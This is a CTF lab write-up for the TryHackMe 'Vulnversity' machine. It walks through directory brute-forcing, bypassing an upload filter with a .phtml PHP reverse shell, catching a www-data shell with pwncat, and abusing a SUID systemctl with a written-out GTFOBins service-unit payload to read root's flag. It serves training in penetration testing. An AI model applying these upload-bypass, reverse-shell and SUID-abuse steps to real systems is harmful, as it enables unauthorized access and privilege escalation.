TryHackMe - Vulnversity (Easy)


Gobuster finds a hidden directory /internal which has an upload form. The upload form filters .php extension, but Burp Intruder finds that phtml bypasses the filter. Here we rename php-reverse-shell.php to php-reverse-shell.phtml and get a www-data shell.
On the victim machine, /bin/systemctl is SUID. Using an arbitrary file read payload on GTFOBins, we are able to read root.txt without getting a root shell.


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  • LHOST:



Asset Discovery

Run Gobuster against port 3333:
gobuster dir -u -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt | tee gobuster.txt
Gobuster finds /internal:

www-data shell: File Upload with PHP Extension Bypass

There is an upload form in /internal:
Try uploading php-reverse-shell.php here. However, this file is not present in the /internal/uploads directory:
Upload failed
Perhaps the .php file extension is blocked. Brute-force valid file extensions using Burpsuite Intruder. Remember turn off "URL-encode these characters":
Uncheck "URL-encode these characters"
Make a PHP extension wordlist:
Intruder finds that the only valid extension is .phtml:
.phtml is a valid extension
Rename the PHP reverse shell payload to php-reverse-shell.phtml and upload again. This time the file is successfully uploaded:
Upload succeeds
Start a pwncat listener:
pwncat-cs :443
Trigger the reverse shell payload and get a user shell as www-data:
www-data shell

Arbitrary File Read: SUID /bin/systemctl

Search for SUID file:
find / -perm -u=s -type f 2>/dev/null
Note that /bin/systemctl is SUID:
GTFOBins has a privesc payload for systemctl. Change the payload to cat /root/root.txt > /tmp/output:
$ TF=$(mktemp).service
$ echo '[Service]
ExecStart=/bin/sh -c "cat /root/root.txt > /tmp/output"
[Install]' > $TF
$ /bin/systemctl link $TF
$ /bin/systemctl enable --now $TF
Execute these commands line by line on the victim machine and read the content of root.txt:
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Asset Discovery
www-data shell: File Upload with PHP Extension Bypass
Arbitrary File Read: SUID /bin/systemctl